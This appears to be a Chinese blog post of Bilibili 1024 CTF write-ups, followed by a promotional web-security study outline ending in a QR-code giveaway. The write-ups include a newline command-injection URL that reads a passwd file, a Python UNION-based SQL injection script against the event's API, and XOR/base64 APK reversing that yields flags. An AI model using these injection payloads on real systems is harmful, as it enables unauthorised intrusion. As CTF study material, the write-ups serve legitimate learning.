临时打的一个CTF,自己就出了几个web ,把题目和网上搜索的解题题目记录如下:
1024程序员节,大家一起和2233参与解密游戏吧~
happy_1024_2233:
e9ca6f21583a1533d3ff4fd47ddc463c6a1c7d2cf084d364
0408abca7deabb96a58f50471171b60e02b1a8dbd32db156
AES解密:
加密方式:AES 加密
加密模式:ECB
填充方式:无影响,都可以
Key:happy_1024_2233
96 位密文:
e9ca6f21583a1533d3ff4fd47ddc463c6a1c7d2cf084d3640408abca7deabb96a58f50471171b60e02b1a8dbd32db156
输出方式:Hex(十六进制)
解密结果(flag):a1cd5f84-27966146-3776f301-64031bb9
就在 home.vue 页面的注释里,如下图所示:
下载 eval.php,可以看到正则 /^\w+$/
,这个可以用结尾接换行符匹配,然后就可以换行用 Linux 命令了:
直接使用 Linux 命令 cat passwd,
访问
http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=cat&args[]=passwd
发送 GET 请求:返回 flag:
注入直接看脚本
import requestsurl = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list"
json_data = {
"user_id": "",
"user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=0x666c6167#",
"action": "",
"page": 1,
"size": 20
}
response = requests.post(url=url, json=json_data)
print(response.text)
作者:想要成为欢乐喜剧人 https://www.bilibili.com/read/cv13684311 出处:bilibili
Android apk 无壳无so 简单的一批的存java层算法
apk分析:
安装到手机,账号和密码输入框 只需要输入正确输入即可
账号-密码就是FLAG
拖入jadx分析 核心逻辑:
String obj = ((EditText) MainActivity.this.findViewById(C0363R.C0365id.TextAccount)).getText().toString();
String obj2 = ((EditText) MainActivity.this.findViewById(C0363R.C0365id.TextPassword)).getText().toString();
byte[] b = Encrypt.m11b(Encrypt.m10a(obj.getBytes(), 3));
byte[] b2 = Encrypt.m11b(Encrypt.m10a(obj2.getBytes(), 3));
byte[] bArr = {89, 87, 66, 108, 79, 109, 90, 110, 78, 106, 65, 117, 79, 109, 74, 109, 78, 122, 65, 120, 79, 50, 89, 61};
if (!Arrays.equals(b, new byte[]{78, 106, 73, 49, 79, 122, 65, 51, 89, 71, 65, 117, 78, 106, 78, 109, 78, 122, 99, 55, 89, 109, 85, 61}) || !Arrays.equals(b2, bArr)) {
Toast.makeText(MainActivity.this, "还差一点点~~~", 1).show();
} else {
Toast.makeText(MainActivity.this, "bilibili- ( ゜- ゜)つロ 乾杯~", 1).show();
}
public class Encrypt {
/* renamed from: a */
public static byte[] m10a(byte[] bArr, int i) {
if (bArr == null || bArr.length == 0) {
return null;
}
int length = bArr.length;
for (int i2 = 0; i2 < length; i2++) {
bArr[i2] = (byte) (bArr[i2] ^ i);
}
return bArr;
} /* renamed from: b */
public static byte[] m11b(byte[] bArr) {
return Base64.encode(bArr, 2);
}
}
就一个^运算base64加密然后判断
byte[] bArr = {89, 87, 66, 108, 79, 109, 90, 110, 78, 106, 65, 117, 79, 109, 74, 109, 78, 122, 65, 120, 79, 50, 89, 61};
byte[] bArr2 = {78, 106, 73, 49, 79, 122, 65, 51, 89, 71, 65, 117, 78, 106, 78, 109, 78, 122, 99, 55, 89, 109, 85, 61};
得到加密之前的byte[]
^为异或符号 连续两次异或回到本身
已知 b=a^3 这里 知道b 要求a 的值
b^3 = (a^3)^3
b^3 = a
得 a = b^3
byte[] bx1 = {97, 96, 101, 58, 102, 103, 54, 48, 46, 58, 98, 102, 55, 48, 49, 59, 102};
byte[] bx2 = {54, 50, 53, 59, 48, 55, 96, 96, 46, 54, 51, 102, 55, 55, 59, 98, 101};byte[] bx1_r = Encrypt.m10a(bx1,3);
byte[] bx2_r = Encrypt.m10a(bx2,3);
System.out.println(new String(bx1_r,"UTF-8"));
System.out.println(new String(bx2_r,"UTF-8"));
String obj = "516834cc-50e448af";
String obj2 = "bcf9ed53-9ae4328e";
第五题和第六题题目虽然是一样的,但是 flag 不一样,第六题需要逆向 SO,会验证 abi 和系统版本,改 build.prop,ro.product.cpu.abi 为 x86,ro.build.version.release 为 9,然后再创建 /data/2233,4 byte 一组就会变成 flag
最后一题是找到所有的恶意 IP 后,通过通过英文逗号分隔成一个字符串后提交,系统会根据提交的 IP 正确数计算分数,这个题不知道具体怎么判断,K 哥尝试了使用 Python 把所有 IP 提取出来之后放到 Excel 里找出重复次数过多的 IP
https://blog.csdn.net/kdl_csdn/article/details/120924168
https://www.bilibili.com/read/cv13684311
作为小白呢,这里建议大家可以从web安全入手,web安全领域相对来说比较好入门,对于小白来说呢,入门是相对来说友好一些的。我刚开始的时候也是从web安全开始入手的,web安全的知识有哪些呢,我给大家简单的梳理一下知识轮廓。
Web安全基础要学习那些知识呢?
视频内容多多,先看下0基础部分,从安装到后期实战,每一步操作都非常详细,保证你能快速入门。
0 基础入门部分视频破解软件不仅仅需要炫酷技能,还需要层出不穷的工具包,这些你都有吗?没有赶紧下载,看看网安大佬是如何获取诸多福利资源的。
作为一名资深黑客,在网上不能留下尾巴,所以操作笔记无比重要,我们看看黑客大佬手里的笔记是什么样的,保准让你大开眼界。不是学不会,那肯定是你三分钟热度。只要有恒心,铁杵磨成针!(以下内容只展示部分哦)
01
对于系统的操作
比如window系统、linux系统、还有黑客最火的kali系统
02
数据库的学习
针对于web漏洞中的SQL
例如:MySQL数据库的基本操作
03
进行web安全渗透
一定要了解web漏洞的原理,web常见的漏洞有SQL注入、xss漏洞、csrf、ssrf、文件上传、任意文件下载、弱口令、逻辑漏洞等,尤其是owasp top 10漏洞的原理、判别方法、利用手法、了解防火墙绕过方法,了解CDN技术、负载均衡技术、DNS技术、MVC框架、要了解主流服务器软件的特性漏洞、Linux、URL编码、常见加密解密技术、目录爆破、子域名爆破、后台爆破、ssl等等
04
各种的搜索引擎的使用技巧:
Google、FOFA、shodan、zoomeye等搜索引擎的使用技巧来进行资产的收集,在做前期的渗透信息收集的时候,是非常重要的。
05
HTML5、css3、PHP
在进行学习web渗透之前呢,需要简单了解一下语言HTML5、css3、PHP ,这些语言对于了解web安全漏洞有很大的帮助的。
06
要掌握基本的几种黑客工具的使用:
AWVS、appscan、nmap、burpsuite、sqlmap、xray、Metasploit、浏览器代理、各种语言的小马大马、蚁剑等工具的使用
07
对于一些网站的基础框架要有一定的了解:
TP、DZ、WP、织梦、帝国、structs、ecshop、等常见的网站框架要了解
08
Linux渗透进阶知识:
Linux下手动查杀木马过程-使用rootkit隐藏踪迹的审计方法,主要有模拟木马程序病原体并让木马程序自动运行的代码审计,木马父进程实时监控木马的原理及防御方法,创建一个让root用户都删除不了的木马程序的原理及防御方法,深入讲解如何不让木马程序和外网数据主动通信,使用rootkit把木马程序的父进程和木马文件隐藏的审计方法,使用rkhunter Rootkit猎手来检查rootkit,还有Linux下的手工提权原理-劫持账号和密码审计及防御方法-Tripwire检查文件。
09
还有无线安全和一些免杀shell技巧的技术
以上9个知识点给大家大概介绍了一下web安全渗透概念,下面给大家看一下我总结的比较全面的web渗透的思维导图,大家可以详细的看一下具体web渗透测试具体需要那些技术知识点。
以上的web渗透安全相关的知识点,给大家介绍了一下如何去学习那些知识,这个世界充满了待解决的迷人问题,做一个黑客有很多乐趣,但是需要颇费气力才能获得这些乐趣。这些动力需要动机。卓越的运动员从强健体魄、挑战自我身体极限中汲取动力。类似的,作为黑客,你必须从解决问题、磨练技术、锻炼智力中获得基本的快感。希望各位从事渗透安全的小白们,早日进阶黑客大佬。
上面的资料无偿分享!
只限50个名额
有需要的识别下方二维码,即可免费领取